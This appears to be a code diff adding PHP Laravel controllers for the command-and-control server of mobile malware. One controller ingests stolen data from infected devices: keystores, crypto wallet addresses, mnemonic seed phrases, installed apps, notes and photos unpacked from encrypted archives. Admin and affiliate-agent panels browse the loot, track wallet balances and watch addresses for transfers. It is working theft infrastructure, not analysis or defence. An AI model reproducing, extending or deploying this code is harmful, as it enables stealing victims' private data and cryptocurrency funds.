$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$content = $row->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'content' => $content ?: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = Note::query()
->join('devices', 'devices.id', '=', 'notes.device_id')
->select([
'notes.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,98 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Photo;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class PhotoController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.photos.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'size', 'x_hit', 'created_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
'size' => $row->size,
'x_hit' => $row->x_hit,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = Photo::query()
->join('devices', 'devices.id', '=', 'photos.device_id')
->select([
'photos.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ((string) $request->query('sensitive', '') === '1') {
$q->where('photos.x_hit', '>', 0);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,71 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\File;
class RawLogController extends Controller
{
public function index(Request $request)
{
$dir = public_path('log/c2');
$files = [];
if (is_dir($dir)) {
foreach (File::files($dir) as $file) {
if ($file->getExtension() !== 'log') {
continue;
}
$files[] = [
'name' => $file->getFilename(),
'size' => $file->getSize(),
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
];
}
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
}
$path = trim((string) $request->query('path', ''));
$device = trim((string) $request->query('device', ''));
return view('admin.logs.index', compact('files', 'path', 'device'));
}
public function show(Request $request, string $file)
{
$safe = basename($file);
if (! preg_match('/^\d{8}\.log$/', $safe)) {
abort(404);
}
$full = public_path('log/c2/'.$safe);
abort_unless(is_file($full), 404);
$path = trim((string) $request->query('path', ''));
$device = trim((string) $request->query('device', ''));
$raw = (string) file_get_contents($full);
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
$entries = [];
foreach ($chunks as $chunk) {
$chunk = trim($chunk);
if ($chunk === '') {
continue;
}
if ($path !== '' && ! str_contains($chunk, $path)) {
continue;
}
if ($device !== '' && ! str_contains($chunk, $device)) {
continue;
}
$entries[] = $chunk;
}
$entries = array_reverse($entries);
return view('admin.logs.show', [
'file' => $safe,
'entries' => $entries,
'path' => $path,
'device' => $device,
]);
}
}
@@ -0,0 +1,41 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Services\SettingsService;
use Illuminate\Http\Request;
class SystemSettingsController extends Controller
{
public function index(SettingsService $settings)
{
return view('admin.system.settings', [
'form' => $settings->effectiveForForm(),
]);
}
public function update(Request $request, SettingsService $settings)
{
$data = $request->validate([
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
'channels_domains' => ['nullable', 'string', 'max:4000'],
]);
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
$settings->putMany([
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
? (string) $data['channels_max_per_agent']
: null,
// Persist normalized comma-separated list (empty clears override to []).
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
]);
return response()->json(['code' => 0, 'msg' => '已保存']);
}
}
@@ -0,0 +1,150 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
class WalletAddressController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletAddress::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.addresses.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
/** @var WalletAddress $row */
$coins = $row->formattedCoins();
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'chain_type' => $row->chain_type ?: '',
'address' => $row->address,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'monitor' => (int) $row->monitor,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function update(Request $request, WalletAddress $address)
{
$data = $request->validate([
'monitor' => ['required', 'integer', 'in:0,1'],
]);
$allowed = WalletAddress::query()
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->where('wallet_addresses.id', $address->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
if (! $allowed->exists()) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$address->monitor = (int) $data['monitor'];
$address->save();
try {
app(TokenviewMonitorService::class)->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
]);
}
private function baseQuery(Request $request): Builder
{
$q = WalletAddress::query()
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->select([
'wallet_addresses.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_addresses.source', $source);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,59 @@
<?php
namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AuthController extends Controller
{
public function showLogin()
{
if (Auth::guard('agent')->check()) {
return redirect()->route('user.home');
}
return view('user.login');
}
public function home()
{
return view('user.shell');
}
public function login(Request $request)
{
$credentials = $request->validate([
'username' => 'required|string',
'password' => 'required|string',
]);
/** @var User|null $user */
$user = User::query()->where('username', $credentials['username'])->first();
if ($user && ! $user->isEnabled()) {
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
}
if (Auth::guard('agent')->attempt(
['username' => $credentials['username'], 'password' => $credentials['password']],
$request->boolean('remember')
)) {
$request->session()->regenerate();
return redirect()->intended(route('user.home'));
}
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
}
public function logout(Request $request)
{
Auth::guard('agent')->logout();
$request->session()->invalidate();
$request->session()->regenerateToken();
return redirect()->route('user.login');
}
}
+216
View File
@@ -0,0 +1,216 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\CorunaArchive;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
class C2Controller extends Controller
{
/** @var CorunaCrypto */
private $crypto;
/** @var CorunaArchive */
private $archive;
/** @var IngestService */
private $ingest;
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
{
$this->crypto = $crypto;
$this->archive = $archive;
$this->ingest = $ingest;
}
public function query(): Response
{
return response('OK', 200)->header('Content-Type', 'text/plain');
}
public function avatarSet(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
return $this->encryptedAck();
}
public function userGet(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
}
public function avatarPut(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
}
return $this->encryptedAck();
}
public function avatarStatus(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestKeystore($device, $payload);
}
return $this->encryptedAck();
}
public function status(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload);
}
return $this->encryptedAck();
}
public function set(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestMnemonic($device, $payload);
}
return $this->encryptedAck();
}
public function check(Request $request): Response
{
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->upsertDevice(
$request,
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey
);
// Archive password = session_key || batchBaseTimestampString.
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->archive->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
return $this->encryptedAck();
}
public function avatarPic(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device) {
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
}
return $this->encryptedAck();
}
public function profileNop(Request $request): Response
{
return $this->encryptedAck();
}
public function linkConfigList(Request $request): Response
{
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
}
public function linkConfigIcon(Request $request): Response
{
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
}
/**
* @param mixed $data
*/
private function encryptedAck($data = null): Response
{
if ($data === null) {
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
}
$enc = $this->crypto->encryptJson($data);
return response($enc['body'], 200)
->header('Content-Type', 'text/plain')
->header('timestamp', $enc['timestamp']);
}
}
@@ -0,0 +1,37 @@
<?php
namespace App\Http\Controllers\Concerns;
use App\Models\User;
trait PortalAware
{
protected function portal(): string
{
$name = request()->route()?->getName() ?? '';
return str_starts_with($name, 'user.') ? 'user' : 'admin';
}
protected function isAgentPortal(): bool
{
return $this->portal() === 'user';
}
protected function agent(): ?User
{
if (! $this->isAgentPortal()) {
return null;
}
/** @var User|null $user */
$user = auth('agent')->user();
return $user;
}
protected function routeName(string $suffix): string
{
return $this->portal().'.'.$suffix;
}
}
+8
View File
@@ -0,0 +1,8 @@
<?php
namespace App\Http\Controllers;
abstract class Controller
{
//
}
@@ -0,0 +1,69 @@
<?php
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Log;
use SergiX44\Nutgram\Nutgram;
class TelegramWebhookController extends Controller
{
public function __invoke(Request $request, Nutgram $bot): Response
{
$update = $request->all();
$message = is_array($update['message'] ?? null) ? $update['message'] : [];
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
$secret = (string) config('coruna.telegram.webhook_secret', '');
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
Log::info('telegram webhook hit', [
'ip' => $request->ip(),
'update_id' => $update['update_id'] ?? null,
'chat_id' => $chatId,
'text' => $text,
'has_secret_header' => $header !== '',
'secret_configured' => $secret !== '',
]);
if ($secret !== '') {
if ($header === '' || ! hash_equals($secret, $header)) {
Log::warning('telegram webhook rejected: bad secret', [
'ip' => $request->ip(),
'update_id' => $update['update_id'] ?? null,
]);
abort(403, 'Invalid webhook secret');
}
}
try {
$bot->run();
Log::info('telegram webhook handled', [
'update_id' => $update['update_id'] ?? null,
'chat_id' => $chatId,
'handler' => $bot->currentHandler()?->getPattern(),
]);
} catch (\InvalidArgumentException $e) {
// FakeNutgram with no update (unit tests) — still ACK the webhook probe.
if (! app()->runningUnitTests()) {
Log::error('telegram webhook InvalidArgumentException', [
'message' => $e->getMessage(),
'update_id' => $update['update_id'] ?? null,
]);
throw $e;
}
} catch (\Throwable $e) {
Log::error('telegram webhook failed', [
'message' => $e->getMessage(),
'update_id' => $update['update_id'] ?? null,
'chat_id' => $chatId,
]);
throw $e;
}
return response()->noContent();
}
}
@@ -0,0 +1,39 @@
<?php
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Log;
class TokenviewWebhookController extends Controller
{
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
{
$raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature');
if (! $monitor->verifySignature($raw, $signature)) {
Log::warning('tokenview webhook bad signature');
return response('invalid signature', 401);
}
$payload = $request->json()->all();
if (! is_array($payload) || $payload === []) {
$decoded = json_decode($raw, true);
$payload = is_array($decoded) ? $decoded : [];
}
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
}
// Tokenview requires HTTP 200 + non-empty body.
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
}
}